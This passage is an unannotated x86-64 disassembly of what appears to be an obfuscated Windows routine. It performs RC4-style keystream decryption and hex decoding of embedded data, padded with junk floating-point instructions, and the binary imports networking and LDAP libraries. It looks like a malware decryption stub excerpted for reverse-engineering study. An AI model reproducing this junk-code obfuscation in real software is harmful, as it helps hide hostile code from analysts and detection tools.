jmp 0x1400f22ee
xor edx, edx
div r8d
mov eax, edx
mov eax, eax
cmp r8, rax
je 0x1400f21e0
movzx edx, byte [rsp + r8 + 0x2b0]
xor dl, byte [rsp + rax + 0x2b0]
mov byte [rsp + r8 + 0x2b0], dl
xor dl, byte [rsp + rax + 0x2b0]
mov byte [rsp + rax + 0x2b0], dl
xor byte [rsp + r8 + 0x2b0], dl
jmp 0x1400f21e0
movzx eax, byte [rsp + 0x2b1]
movzx r10d, byte [rsp + 0x2b3]
movzx ecx, byte [rsp + 0x2b5]
movzx r8d, byte [rsp + 0x2b7]
movzx edx, sil
movzx r9d, byte [rsp + rdx + 0x2b0]
movzx edx, byte [int.14049ed22]
movzx r11d, byte [0x14049ed23]
add r11b, 0x99
mov dword [rsp + 0x140], 0x46a37200
mov dword [rsp + 0x230], 0x46752c00
mov dword [rsp + 0x1f0], 0x46237400
mov dword [rsp + 0x1d0], 0x45a37800
movss xmm0, dword [rsp + 0x1d0]
movss xmm1, dword [rsp + 0x1f0]
mulss xmm1, xmm0
movss dword [rsp + 0x1f0], xmm1
movss xmm0, dword [rsp + 0x1d0]
movss xmm1, dword [rsp + 0x140]
subss xmm1, xmm0
movss dword [rsp + 0x140], xmm1
movss xmm0, dword [rsp + 0x1d0]
movss xmm1, dword [rsp + 0x230]
mulss xmm1, xmm0
movss dword [rsp + 0x230], xmm1
movss xmm0, dword [rsp + 0x1d0]
movss xmm1, dword [rsp + 0x140]
mulss xmm1, xmm0
movss dword [rsp + 0x140], xmm1
movss xmm0, dword [rsp + 0x230]
movss xmm1, dword [rsp + 0x1d0]
ucomiss xmm1, xmm0
jbe 0x1400f24b1
movss xmm0, dword [rsp + 0x1f0]
movss xmm1, dword [rsp + 0x230]
subss xmm1, xmm0
movss dword [rsp + 0x230], xmm1
movss xmm0, dword [rsp + 0x1f0]
movss xmm1, dword [rsp + 0x230]
mulss xmm1, xmm0
movss dword [rsp + 0x230], xmm1
movss xmm0, dword [rsp + 0x230]
movss xmm1, dword [rsp + 0x140]
subss xmm1, xmm0
movss dword [rsp + 0x140], xmm1
movss xmm0, dword [rsp + 0x140]
movss xmm1, dword [rsp + 0x1d0]
divss xmm1, xmm0
movss dword [rsp + 0x1d0], xmm1
xor edx, edx
jmp 0x1400f252f
movss xmm0, dword [rsp + 0x140]
movss xmm1, dword [rsp + 0x1d0]
mulss xmm1, xmm0
movss dword [rsp + 0x1d0], xmm1
shl dl, 4
add dl, 0xe0
movss xmm0, dword [rsp + 0x1d0]
movss xmm1, dword [rsp + 0x1f0]
mulss xmm1, xmm0
movss dword [rsp + 0x1f0], xmm1
movss xmm0, dword [rsp + 0x230]
addss xmm0, dword [rsp + 0x140]
movss dword [rsp + 0x140], xmm0
movss xmm0, dword [rsp + 0x230]
movss xmm1, dword [rsp + 0x140]
mulss xmm1, xmm0
movss dword [rsp + 0x140], xmm1
or dl, r11b
movzx ebx, byte [rsp + r9 + 0x2b0]
movzx esi, bl
lea r11d, [rax + 1]
add r10b, byte [rsp + rax + 0x2b0]
movzx r10d, r10b
movzx edi, byte [rsp + r10 + 0x2b0]
mov byte [rsp + r9 + 0x2b0], dil
mov dword [rsp + 0x140], 0x46e02400
mov dword [rsp + 0x230], 0x46956e00
mov dword [rsp + 0x1f0], 0x46157000
movss xmm0, dword [rsp + 0x1f0]
movss xmm1, dword [rsp + 0x140]
mulss xmm1, xmm0
movss dword [rsp + 0x140], xmm1
movss xmm0, dword [rsp + 0x1f0]
movss xmm1, dword [rsp + 0x230]
subss xmm1, xmm0
movss dword [rsp + 0x230], xmm1
movss xmm0, dword [rsp + 0x1f0]
movss xmm1, dword [rsp + 0x230]
subss xmm1, xmm0
movss dword [rsp + 0x230], xmm1
movss xmm0, dword [rsp + 0x230]
movss xmm1, dword [rsp + 0x140]
ucomiss xmm1, xmm0
jbe 0x1400f2664
movzx edi, byte [rsp + r8 + 0x2b0]
mov byte [rsp + r10 + 0x2b0], dil
movss xmm0, dword [rsp + 0x230]
movss xmm1, dword [rsp + 0x1f0]
mulss xmm1, xmm0
movss dword [rsp + 0x1f0], xmm1
movss xmm0, dword [rsp + 0x1f0]
movss xmm1, dword [rsp + 0x140]
mulss xmm1, xmm0
movss dword [rsp + 0x140], xmm1
movss xmm0, dword [rsp + 0x1f0]
movss xmm1, dword [rsp + 0x140]
mulss xmm1, xmm0
movss dword [rsp + 0x140], xmm1
jmp 0x1400f26bd
movss xmm0, dword [rsp + 0x1f0]
movss xmm1, dword [rsp + 0x140]
subss xmm1, xmm0
movss dword [rsp + 0x140], xmm1
movss xmm0, dword [rsp + 0x140]
addss xmm0, dword [rsp + 0x230]
movss dword [rsp + 0x230], xmm0
movss xmm0, dword [rsp + 0x230]
movss xmm1, dword [rsp + 0x1f0]
divss xmm1, xmm0
movss dword [rsp + 0x1f0], xmm1
movzx r11d, r11b
movzx edi, byte [rsp + r11 + 0x2b0]
mov byte [rsp + r8 + 0x2b0], dil
mov byte [rsp + r11 + 0x2b0], bl
add cl, byte [rsp + rsi + 0x2b0]
add bl, byte [rsp + r10 + 0x2b0]
movzx esi, bl
movzx ebx, byte [rsp + rsi + 0x2b0]
movzx r9d, byte [rsp + r9 + 0x2b0]
add r9b, byte [rsp + r8 + 0x2b0]
movzx r8d, cl
add r9b, byte [rsp + r8 + 0x2b0]
movzx r8d, r9b
movzx r8d, byte [rsp + r8 + 0x2b0]
xor bl, byte [rsp + r8 + 0x2b0]
xor bl, dl
movzx r9d, byte [0x14049ed24]
movzx r8d, byte [reloc.WS2_32.dll_WSACleanup]
mov dword [rsp + 0x140], 0x469fd600
mov dword [rsp + 0x230], 0x46890200
mov dword [rsp + 0x1f0], 0x46645c00
mov dword [rsp + 0x1d0], 0x4636b400
mov dword [rsp + 0x250], 0x46090c00
mov dword [rsp + 0x210], 0x45b6c800
mov dword [rsp + 0x270], 0x4536f000
movss xmm0, dword [rsp + 0x270]
movss xmm1, dword [rsp + 0x1f0]
mulss xmm1, xmm0
movss dword [rsp + 0x1f0], xmm1
movss xmm0, dword [rsp + 0x270]
movss xmm1, dword [rsp + 0x1d0]
subss xmm1, xmm0
movss dword [rsp + 0x1d0], xmm1
movss xmm0, dword [rsp + 0x270]
addss xmm0, dword [rsp + 0x230]
movss dword [rsp + 0x230], xmm0
movss xmm0, dword [rsp + 0x270]
movss xmm1, dword [rsp + 0x210]
mulss xmm1, xmm0
movss dword [rsp + 0x210], xmm1
movss xmm0, dword [rsp + 0x270]
movss xmm1, dword [rsp + 0x140]
mulss xmm1, xmm0
movss dword [rsp + 0x140], xmm1
movss xmm0, dword [rsp + 0x270]
addss xmm0, dword [rsp + 0x250]
movss dword [rsp + 0x250], xmm0
movss xmm0, dword [rsp + 0x270]
movss xmm1, dword [rsp + 0x140]
mulss xmm1, xmm0
movss dword [rsp + 0x140], xmm1
movss xmm0, dword [rsp + 0x270]
movss xmm1, dword [rsp + 0x140]
ucomiss xmm1, xmm0
jbe 0x1400f294b
movss xmm0, dword [rsp + 0x270]
movss xmm1, dword [rsp + 0x250]
subss xmm1, xmm0
movss dword [rsp + 0x250], xmm1
movss xmm0, dword [rsp + 0x270]
movss xmm1, dword [rsp + 0x250]
mulss xmm1, xmm0
movss dword [rsp + 0x250], xmm1
movss xmm0, dword [rsp + 0x210]
movss xmm1, dword [rsp + 0x1d0]
mulss xmm1, xmm0
movss dword [rsp + 0x1d0], xmm1
movss xmm0, dword [rsp + 0x250]
movss xmm1, dword [rsp + 0x1f0]
subss xmm1, xmm0
movss dword [rsp + 0x1f0], xmm1
movss xmm0, dword [rsp + 0x270]
movss xmm1, dword [rsp + 0x250]
mulss xmm1, xmm0
movss dword [rsp + 0x250], xmm1
movss xmm0, dword [rsp + 0x230]
movss xmm1, dword [rsp + 0x270]
mulss xmm1, xmm0
movss dword [rsp + 0x270], xmm1
movss xmm0, dword [rsp + 0x270]
addss xmm0, dword [rsp + 0x250]
movss dword [rsp + 0x250], xmm0
jmp 0x1400f2cc7
movss xmm0, dword [rsp + 0x1f0]
movss xmm1, dword [rsp + 0x230]
mulss xmm1, xmm0
movss dword [rsp + 0x230], xmm1
movss xmm0, dword [rsp + 0x250]
movss xmm1, dword [rsp + 0x1d0]
subss xmm1, xmm0
movss dword [rsp + 0x1d0], xmm1
movss xmm0, dword [rsp + 0x1d0]
movss xmm1, dword [rsp + 0x1f0]
mulss xmm1, xmm0
movss dword [rsp + 0x1f0], xmm1
movss xmm0, dword [rsp + 0x250]
movss xmm1, dword [rsp + 0x1d0]
mulss xmm1, xmm0
movss dword [rsp + 0x1d0], xmm1
movss xmm0, dword [rsp + 0x270]
movss xmm1, dword [rsp + 0x210]
subss xmm1, xmm0
movss dword [rsp + 0x210], xmm1
movss xmm0, dword [rsp + 0x270]
movss xmm1, dword [rsp + 0x210]
divss xmm1, xmm0
movss dword [rsp + 0x210], xmm1
movss xmm0, dword [rsp + 0x230]
movss xmm1, dword [rsp + 0x140]
divss xmm1, xmm0
movss dword [rsp + 0x140], xmm1
movss xmm0, dword [rsp + 0x1d0]
movss xmm1, dword [rsp + 0x1f0]
subss xmm1, xmm0
movss dword [rsp + 0x1f0], xmm1
movss xmm0, dword [rsp + 0x140]
movss xmm1, dword [rsp + 0x270]
mulss xmm1, xmm0
movss dword [rsp + 0x270], xmm1
movss xmm0, dword [rsp + 0x210]
movss xmm1, dword [rsp + 0x250]
divss xmm1, xmm0
movss dword [rsp + 0x250], xmm1
movss xmm0, dword [rsp + 0x270]
movss xmm1, dword [rsp + 0x210]
subss xmm1, xmm0
movss dword [rsp + 0x210], xmm1
movss xmm0, dword [rsp + 0x270]
movss xmm1, dword [rsp + 0x210]
divss xmm1, xmm0
movss dword [rsp + 0x210], xmm1
movss xmm0, dword [rsp + 0x1d0]
movss xmm1, dword [rsp + 0x1f0]
divss xmm1, xmm0
movss dword [rsp + 0x1f0], xmm1
movss xmm0, dword [rsp + 0x1f0]
movss xmm1, dword [rsp + 0x230]
subss xmm1, xmm0
movss dword [rsp + 0x230], xmm1
movss xmm0, dword [rsp + 0x270]
movss xmm1, dword [rsp + 0x230]
ucomiss xmm1, xmm0
jbe 0x1400f2bf2
movss xmm0, dword [rsp + 0x250]
movss xmm1, dword [rsp + 0x1d0]
divss xmm1, xmm0
movss dword [rsp + 0x1d0], xmm1
movss xmm0, dword [rsp + 0x230]
movss xmm1, dword [rsp + 0x140]
subss xmm1, xmm0
movss dword [rsp + 0x140], xmm1
movss xmm0, dword [rsp + 0x1f0]
movss xmm1, dword [rsp + 0x230]
mulss xmm1, xmm0
movss dword [rsp + 0x230], xmm1
movss xmm0, dword [rsp + 0x1d0]
movss xmm1, dword [rsp + 0x1f0]
mulss xmm1, xmm0
movss dword [rsp + 0x1f0], xmm1
movss xmm0, dword [rsp + 0x250]
movss xmm1, dword [rsp + 0x1d0]
mulss xmm1, xmm0
movss dword [rsp + 0x1d0], xmm1
movss xmm0, dword [rsp + 0x210]
movss xmm1, dword [rsp + 0x250]
divss xmm1, xmm0
movss dword [rsp + 0x250], xmm1
movss xmm0, dword [rsp + 0x1d0]
addss xmm0, dword [rsp + 0x1f0]
movss dword [rsp + 0x1f0], xmm0
jmp 0x1400f2cc7
movss xmm0, dword [rsp + 0x1f0]
movss xmm1, dword [rsp + 0x230]
divss xmm1, xmm0
movss dword [rsp + 0x230], xmm1
movss xmm0, dword [rsp + 0x140]
movss xmm1, dword [rsp + 0x270]
subss xmm1, xmm0
movss dword [rsp + 0x270], xmm1
movss xmm0, dword [rsp + 0x140]
movss xmm1, dword [rsp + 0x270]
subss xmm1, xmm0
movss dword [rsp + 0x270], xmm1
movss xmm0, dword [rsp + 0x140]
movss xmm1, dword [rsp + 0x270]
mulss xmm1, xmm0
movss dword [rsp + 0x270], xmm1
movss xmm0, dword [rsp + 0x270]
movss xmm1, dword [rsp + 0x210]
divss xmm1, xmm0
movss dword [rsp + 0x210], xmm1
movss xmm0, dword [rsp + 0x210]
addss xmm0, dword [rsp + 0x250]
movss dword [rsp + 0x250], xmm0
movss xmm0, dword [rsp + 0x210]
movss xmm1, dword [rsp + 0x250]
mulss xmm1, xmm0
movss dword [rsp + 0x250], xmm1
add r8b, 0x99
shl r9b, 4
add r9b, 0xe0
or r9b, r8b
movzx esi, dl
movzx r8d, byte [rsp + rsi + 0x2b0]
movzx edi, r8b
lea ebp, [rax + 2]
add r10b, byte [rsp + r11 + 0x2b0]
movzx edx, r10b
movzx r10d, byte [rsp + rdx + 0x2b0]
mov byte [rsp + rsi + 0x2b0], r10b
movzx r10d, bl
movzx r11d, byte [rsp + r10 + 0x2b0]
mov byte [rsp + rdx + 0x2b0], r11b
movabs r11, 0x40d794c000000000
mov qword [rsp + 0x140], r11
movabs r11, 0x40d2dd8000000000
mov qword [rsp + 0x230], r11
movabs r11, 0x40cc4c8000000000
mov qword [rsp + 0x1f0], r11
movabs r11, 0x40c2de0000000000
mov qword [rsp + 0x1d0], r11
movabs r11, 0x40b2df0000000000
mov qword [rsp + 0x250], r11
movsd xmm0, qword [rsp + 0x250]
movsd xmm1, qword [rsp + 0x230]
subsd xmm1, xmm0
movsd qword [rsp + 0x230], xmm1
movsd xmm0, qword [rsp + 0x250]
addsd xmm0, qword [rsp + 0x140]
movsd qword [rsp + 0x140], xmm0
movsd xmm0, qword [rsp + 0x250]
movsd xmm1, qword [rsp + 0x230]
subsd xmm1, xmm0
movsd qword [rsp + 0x230], xmm1
movsd xmm0, qword [rsp + 0x250]
addsd xmm0, qword [rsp + 0x1d0]
movsd qword [rsp + 0x1d0], xmm0
movsd xmm0, qword [rsp + 0x250]
addsd xmm0, qword [rsp + 0x140]
movsd qword [rsp + 0x140], xmm0
movsd xmm0, qword [rsp + 0x250]
movsd xmm1, qword [rsp + 0x140]
ucomisd xmm0, xmm1
jbe 0x1400f2ec0
movsd xmm0, qword [rsp + 0x250]
addsd xmm0, qword [rsp + 0x1d0]
movsd qword [rsp + 0x1d0], xmm0
movsd xmm0, qword [rsp + 0x250]
movsd xmm1, qword [rsp + 0x1d0]
mulsd xmm1, xmm0
movsd qword [rsp + 0x1d0], xmm1
movsd xmm0, qword [rsp + 0x1f0]
movsd xmm1, qword [rsp + 0x230]
subsd xmm1, xmm0
movsd qword [rsp + 0x230], xmm1
movsd xmm0, qword [rsp + 0x230]
movsd xmm1, qword [rsp + 0x140]
divsd xmm1, xmm0
movsd qword [rsp + 0x140], xmm1
movsd xmm0, qword [rsp + 0x1f0]
movsd xmm1, qword [rsp + 0x230]
subsd xmm1, xmm0
movsd qword [rsp + 0x230], xmm1
movzx r11d, bpl
jmp 0x1400f2f70
movsd xmm0, qword [rsp + 0x1d0]
movsd xmm1, qword [rsp + 0x1f0]
subsd xmm1, xmm0
movsd qword [rsp + 0x1f0], xmm1
movsd xmm0, qword [rsp + 0x140]
movsd xmm1, qword [rsp + 0x250]
mulsd xmm1, xmm0
movsd qword [rsp + 0x250], xmm1
movsd xmm0, qword [rsp + 0x1d0]
movsd xmm1, qword [rsp + 0x1f0]
subsd xmm1, xmm0
movsd qword [rsp + 0x1f0], xmm1
movsd xmm0, qword [rsp + 0x250]
movsd xmm1, qword [rsp + 0x1d0]
mulsd xmm1, xmm0
movsd qword [rsp + 0x1d0], xmm1
movzx r11d, bpl
movzx ebx, byte [rsp + r11 + 0x2b0]
mov byte [rsp + r10 + 0x2b0], bl
movsd xmm0, qword [rsp + 0x1f0]
movsd xmm1, qword [rsp + 0x230]
subsd xmm1, xmm0
movsd qword [rsp + 0x230], xmm1
mov byte [rsp + r11 + 0x2b0], r8b
add cl, byte [rsp + rdi + 0x2b0]
movzx r11d, byte [rsp + rdx + 0x2b0]
add r11b, r8b
movzx r11d, r11b
movzx edi, byte [rsp + r11 + 0x2b0]
movzx r11d, byte [rsp + rsi + 0x2b0]
add r11b, byte [rsp + r10 + 0x2b0]
movzx ecx, cl
add r11b, byte [rsp + rcx + 0x2b0]
movzx r10d, r11b
movzx r10d, byte [rsp + r10 + 0x2b0]
xor dil, byte [rsp + r10 + 0x2b0]
xor dil, r9b
mov byte [rsp + 0x270], dil
movzx r15d, byte [0x14049ed26]
movzx ebx, byte [reloc.WLDAP32.dll_Ordinal_117]
add r15d, 0xffffff3e
add ebx, 0x99
mov r11d, r15d
shl r11d, 4
or ebx, r11d
movzx r9d, r9b
movzx r10d, byte [rsp + r9 + 0x2b0]
lea esi, [rax + 3]
add r8b, dl
movzx edx, r8b
movzx ebp, byte [rsp + rdx + 0x2b0]
mov byte [rsp + r9 + 0x2b0], bpl
movzx edi, dil
movzx ebp, byte [rsp + rdi + 0x2b0]
mov byte [rsp + rdx + 0x2b0], bpl
movzx esi, sil
movzx ebp, byte [rsp + rsi + 0x2b0]
mov byte [rsp + rdi + 0x2b0], bpl
mov byte [rsp + rsi + 0x2b0], r10b
add cl, byte [rsp + r10 + 0x2b0]
movzx edx, byte [rsp + rdx + 0x2b0]
add dl, r10b
movzx r9d, byte [rsp + r9 + 0x2b0]
add r9b, byte [rsp + rdi + 0x2b0]
movzx edx, dl
movzx r10d, cl
add r9b, byte [rsp + r10 + 0x2b0]
movzx r9d, r9b
movzx r10d, byte [rsp + r9 + 0x2b0]
movzx r9d, byte [rsp + rdx + 0x2b0]
xor r9b, bl
xor r9b, byte [rsp + r10 + 0x2b0]
mov byte [rsp + 0x271], r9b
xor edi, edi
lea rdx, [int.14049ed22]
movabs r14, 0x40ac7a0000000000
jmp 0x1400f322b
movsd xmm1, qword [rsp + 0x1f0]
divsd xmm1, xmm0
movsd qword [rsp + 0x1f0], xmm1
movsd xmm0, qword [rsp + 0x1d0]
movsd xmm1, qword [rsp + 0x1f0]
subsd xmm1, xmm0
movsd qword [rsp + 0x1f0], xmm1
movsd xmm0, qword [rsp + 0x140]
movsd xmm1, qword [rsp + 0x250]
subsd xmm1, xmm0
movsd qword [rsp + 0x250], xmm1
movsd xmm0, qword [rsp + 0x230]
addsd xmm0, qword [rsp + 0x140]
movsd qword [rsp + 0x140], xmm0
movsd xmm0, qword [rsp + 0x230]
movsd xmm1, qword [rsp + 0x140]
subsd xmm1, xmm0
movsd qword [rsp + 0x140], xmm1
lea r12, [rax + rdi]
add r12, 3
movzx esi, bl
movzx ebx, byte [rsp + rsi + 0x2b0]
lea r13d, [rax + rdi]
add r13d, 4
movzx r12d, r12b
add r8b, byte [rsp + r12 + 0x2b0]
movzx r12d, r8b
movzx ebp, byte [rsp + r12 + 0x2b0]
mov byte [rsp + rsi + 0x2b0], bpl
movzx ebp, r9b
movzx r9d, byte [rsp + rbp + 0x2b0]
mov byte [rsp + r12 + 0x2b0], r9b
movzx r9d, r13b
movzx r13d, byte [rsp + r9 + 0x2b0]
mov byte [rsp + rbp + 0x2b0], r13b
mov byte [rsp + r9 + 0x2b0], bl
add cl, byte [rsp + rbx + 0x2b0]
or r10d, r11d
movzx r9d, byte [rsp + r12 + 0x2b0]
add r9b, bl
movzx r9d, r9b
movzx r9d, byte [rsp + r9 + 0x2b0]
movzx ebx, byte [rsp + rsi + 0x2b0]
add bl, byte [rsp + rbp + 0x2b0]
movzx esi, cl
add bl, byte [rsp + rsi + 0x2b0]
movzx esi, bl
movzx esi, byte [rsp + rsi + 0x2b0]
xor r9b, byte [rsp + rsi + 0x2b0]
xor r9b, r10b
mov byte [rsp + rdi + 0x272], r9b
inc rdi
mov ebx, r10d
cmp rdi, 4
je 0x1400f3687
movzx esi, byte [rdx + rdi*2 + 6]
movzx r10d, byte [rdx + rdi*2 + 7]
movabs r12, 0x40d7888000000000
mov qword [rsp + 0x140], r12
movabs r12, 0x40d39c8000000000
mov qword [rsp + 0x230], r12
movabs r12, 0x40cf610000000000
mov qword [rsp + 0x1f0], r12
movabs r12, 0x40c7890000000000
mov qword [rsp + 0x1d0], r12
movabs r12, 0x40bf620000000000
mov qword [rsp + 0x250], r12
movabs r12, 0x40af640000000000
mov qword [rsp + 0x210], r12
movsd xmm0, qword [rsp + 0x210]
movsd xmm1, qword [rsp + 0x230]
subsd xmm1, xmm0
movsd qword [rsp + 0x230], xmm1
movsd xmm0, qword [rsp + 0x210]
addsd xmm0, qword [rsp + 0x1f0]
movsd qword [rsp + 0x1f0], xmm0
movsd xmm0, qword [rsp + 0x210]
addsd xmm0, qword [rsp + 0x250]
movsd qword [rsp + 0x250], xmm0
movsd xmm0, qword [rsp + 0x210]
addsd xmm0, qword [rsp + 0x1d0]
movsd qword [rsp + 0x1d0], xmm0
movsd xmm0, qword [rsp + 0x210]
addsd xmm0, qword [rsp + 0x1f0]
movsd qword [rsp + 0x1f0], xmm0
movsd xmm0, qword [rsp + 0x210]
addsd xmm0, qword [rsp + 0x1d0]
movsd qword [rsp + 0x1d0], xmm0
movsd xmm0, qword [rsp + 0x210]
movsd xmm1, qword [rsp + 0x1f0]
ucomisd xmm1, xmm0
jbe 0x1400f3424
movsd xmm0, qword [rsp + 0x210]
addsd xmm0, qword [rsp + 0x1d0]
movsd qword [rsp + 0x1d0], xmm0
movsd xmm0, qword [rsp + 0x250]
movsd xmm1, qword [rsp + 0x1f0]
subsd xmm1, xmm0
movsd qword [rsp + 0x1f0], xmm1
movsd xmm0, qword [rsp + 0x1d0]
movsd xmm1, qword [rsp + 0x230]
mulsd xmm1, xmm0
movsd qword [rsp + 0x230], xmm1
movsd xmm0, qword [rsp + 0x1d0]
movsd xmm1, qword [rsp + 0x230]
mulsd xmm1, xmm0
movsd qword [rsp + 0x230], xmm1
movsd xmm0, qword [rsp + 0x140]
addsd xmm0, qword [rsp + 0x250]
movsd qword [rsp + 0x250], xmm0
add esi, 0xffffff3e
movsd xmm0, qword [rsp + 0x250]
movsd xmm1, qword [rsp + 0x1f0]
mulsd xmm1, xmm0
movsd qword [rsp + 0x1f0], xmm1
mov r15d, esi
jmp 0x1400f34de
movsd xmm0, qword [rsp + 0x210]
movsd xmm1, qword [rsp + 0x250]
mulsd xmm1, xmm0
movsd qword [rsp + 0x250], xmm1
movsd xmm0, qword [rsp + 0x230]
movsd xmm1, qword [rsp + 0x140]
divsd xmm1, xmm0
movsd qword [rsp + 0x140], xmm1
movsd xmm0, qword [rsp + 0x140]
movsd xmm1, qword [rsp + 0x210]
divsd xmm1, xmm0
movsd qword [rsp + 0x210], xmm1
movsd xmm0, qword [rsp + 0x140]
movsd xmm1, qword [rsp + 0x210]
subsd xmm1, xmm0
movsd qword [rsp + 0x210], xmm1
movsd xmm0, qword [rsp + 0x1d0]
movsd xmm1, qword [rsp + 0x1f0]
mulsd xmm1, xmm0
movsd qword [rsp + 0x1f0], xmm1
movsd xmm0, qword [rsp + 0x210]
movsd xmm1, qword [rsp + 0x250]
divsd xmm1, xmm0
movsd qword [rsp + 0x250], xmm1
add r10d, 0x99
movabs rsi, 0x40d1cb4000000000
mov qword [rsp + 0x140], rsi
movabs rsi, 0x40cc788000000000
mov qword [rsp + 0x230], rsi
movabs rsi, 0x40c55a8000000000
mov qword [rsp + 0x1f0], rsi
movabs rsi, 0x40bc790000000000
mov qword [rsp + 0x1d0], rsi
mov qword [rsp + 0x250], r14
movsd xmm0, qword [rsp + 0x250]
movsd xmm1, qword [rsp + 0x230]
mulsd xmm1, xmm0
movsd qword [rsp + 0x230], xmm1
movsd xmm0, qword [rsp + 0x250]
movsd xmm1, qword [rsp + 0x1d0]
mulsd xmm1, xmm0
movsd qword [rsp + 0x1d0], xmm1
movsd xmm0, qword [rsp + 0x250]
addsd xmm0, qword [rsp + 0x1d0]
movsd qword [rsp + 0x1d0], xmm0
movsd xmm0, qword [rsp + 0x250]
movsd xmm1, qword [rsp + 0x1d0]
subsd xmm1, xmm0
movsd qword [rsp + 0x1d0], xmm1
movsd xmm0, qword [rsp + 0x250]
movsd xmm1, qword [rsp + 0x230]
subsd xmm1, xmm0
movsd qword [rsp + 0x230], xmm1
movsd xmm0, qword [rsp + 0x250]
movsd xmm1, qword [rsp + 0x230]
ucomisd xmm1, xmm0
movsd xmm0, qword [rsp + 0x1d0]
jbe 0x1400f30c5
movsd xmm1, qword [rsp + 0x230]
subsd xmm1, xmm0
movsd qword [rsp + 0x230], xmm1
movsd xmm0, qword [rsp + 0x1d0]
addsd xmm0, qword [rsp + 0x230]
movsd qword [rsp + 0x230], xmm0
movsd xmm0, qword [rsp + 0x140]
movsd xmm1, qword [rsp + 0x1d0]
subsd xmm1, xmm0
movsd qword [rsp + 0x1d0], xmm1
mov r11d, r15d
shl r11d, 4
movsd xmm0, qword [rsp + 0x230]
movsd xmm1, qword [rsp + 0x250]
subsd xmm1, xmm0
movsd qword [rsp + 0x250], xmm1
movsd xmm0, qword [rsp + 0x250]
addsd xmm0, qword [rsp + 0x1f0]
movsd qword [rsp + 0x1f0], xmm0
jmp 0x1400f3153
add eax, edi
add al, 7
xor r11d, r11d
movabs rdi, 0x40d03a4000000000
movabs rbx, 0x40c03a8000000000
mov ebp, r10d
jmp 0x1400f3716
movsd xmm0, qword [rsp + 0x230]
addsd xmm0, qword [rsp + 0x140]
movsd qword [rsp + 0x140], xmm0
movsd xmm0, qword [rsp + 0x230]
addsd xmm0, qword [rsp + 0x140]
movsd qword [rsp + 0x140], xmm0
movsd xmm0, qword [rsp + 0x1f0]
movsd xmm1, qword [rsp + 0x230]
subsd xmm1, xmm0
movsd qword [rsp + 0x230], xmm1
mov ebp, r10d
mov byte [rsp + r11 + 0x276], r9b
inc r11
inc al
cmp r11, 5
je 0x1400f3e00
lea r14d, [rax - 4]
movzx r12d, byte [rdx + r11*2 + 0xe]
movzx r15d, byte [rdx + r11*2 + 0xf]
mov dword [rsp + 0x140], 0x46924000
mov dword [rsp + 0x230], 0x466a0000
mov dword [rsp + 0x1f0], 0x462f8000
mov dword [rsp + 0x1d0], 0x45ea0000
mov dword [rsp + 0x250], 0x456a0000
movss xmm0, dword [rsp + 0x250]
movss xmm1, dword [rsp + 0x1f0]
subss xmm1, xmm0
movss dword [rsp + 0x1f0], xmm1
movss xmm0, dword [rsp + 0x250]
movss xmm1, dword [rsp + 0x140]
mulss xmm1, xmm0
movss dword [rsp + 0x140], xmm1
movss xmm0, dword [rsp + 0x250]
movss xmm1, dword [rsp + 0x1f0]
subss xmm1, xmm0
movss dword [rsp + 0x1f0], xmm1
movss xmm0, dword [rsp + 0x250]
movss xmm1, dword [rsp + 0x140]
mulss xmm1, xmm0
movss dword [rsp + 0x140], xmm1
movss xmm0, dword [rsp + 0x250]
addss xmm0, dword [rsp + 0x1f0]
movss dword [rsp + 0x1f0], xmm0
movss xmm0, dword [rsp + 0x250]
movss xmm1, dword [rsp + 0x140]
ucomiss xmm1, xmm0
jbe 0x1400f38bd
shl r12b, 4
add r12b, 0xe0
add r15b, 0x99
or r15b, r12b
movss xmm0, dword [rsp + 0x1d0]
movss xmm1, dword [rsp + 0x230]
mulss xmm1, xmm0
movss dword [rsp + 0x230], xmm1
movss xmm0, dword [rsp + 0x250]
movss xmm1, dword [rsp + 0x1f0]
mulss xmm1, xmm0
movss dword [rsp + 0x1f0], xmm1
movss xmm0, dword [rsp + 0x1d0]
addss xmm0, dword [rsp + 0x230]
movss dword [rsp + 0x230], xmm0
movss xmm0, dword [rsp + 0x140]
movss xmm1, dword [rsp + 0x1d0]
mulss xmm1, xmm0
movss dword [rsp + 0x1d0], xmm1
movss xmm0, dword [rsp + 0x1d0]
movss xmm1, dword [rsp + 0x230]
mulss xmm1, xmm0
movss dword [rsp + 0x230], xmm1
mov r10d, r15d
jmp 0x1400f3b35
movss xmm0, dword [rsp + 0x1d0]
addss xmm0, dword [rsp + 0x230]
movss dword [rsp + 0x230], xmm0
movss xmm0, dword [rsp + 0x1f0]
movss xmm1, dword [rsp + 0x140]
mulss xmm1, xmm0
movss dword [rsp + 0x140], xmm1
movss xmm0, dword [rsp + 0x140]
addss xmm0, dword [rsp + 0x1d0]
movss dword [rsp + 0x1d0], xmm0
movss xmm0, dword [rsp + 0x1d0]
movss xmm1, dword [rsp + 0x230]
divss xmm1, xmm0
movss dword [rsp + 0x230], xmm1
movss xmm0, dword [rsp + 0x230]
movss xmm1, dword [rsp + 0x250]
divss xmm1, xmm0
movss dword [rsp + 0x250], xmm1
movss xmm0, dword [rsp + 0x1d0]
movss xmm1, dword [rsp + 0x230]
divss xmm1, xmm0
movss dword [rsp + 0x230], xmm1
movss xmm0, dword [rsp + 0x140]
movss xmm1, dword [rsp + 0x1d0]
subss xmm1, xmm0
movss dword [rsp + 0x1d0], xmm1
movss xmm0, dword [rsp + 0x250]
movss xmm1, dword [rsp + 0x1f0]
subss xmm1, xmm0
movss dword [rsp + 0x1f0], xmm1
movss xmm0, dword [rsp + 0x140]
movss xmm1, dword [rsp + 0x1d0]
mulss xmm1, xmm0
movss dword [rsp + 0x1d0], xmm1
movss xmm0, dword [rsp + 0x250]
movss xmm1, dword [rsp + 0x1f0]
mulss xmm1, xmm0
movss dword [rsp + 0x1f0], xmm1
movss xmm0, dword [rsp + 0x1f0]
movss xmm1, dword [rsp + 0x250]
ucomiss xmm1, xmm0
jbe 0x1400f3aa6
movss xmm0, dword [rsp + 0x1f0]
movss xmm1, dword [rsp + 0x230]
divss xmm1, xmm0
movss dword [rsp + 0x230], xmm1
movss xmm0, dword [rsp + 0x140]
movss xmm1, dword [rsp + 0x250]
divss xmm1, xmm0
movss dword [rsp + 0x250], xmm1
movss xmm0, dword [rsp + 0x250]
movss xmm1, dword [rsp + 0x1d0]
divss xmm1, xmm0
movss dword [rsp + 0x1d0], xmm1
movss xmm0, dword [rsp + 0x250]
movss xmm1, dword [rsp + 0x1d0]
divss xmm1, xmm0
movss dword [rsp + 0x1d0], xmm1
movss xmm0, dword [rsp + 0x1d0]
movss xmm1, dword [rsp + 0x1f0]
mulss xmm1, xmm0
movss dword [rsp + 0x1f0], xmm1
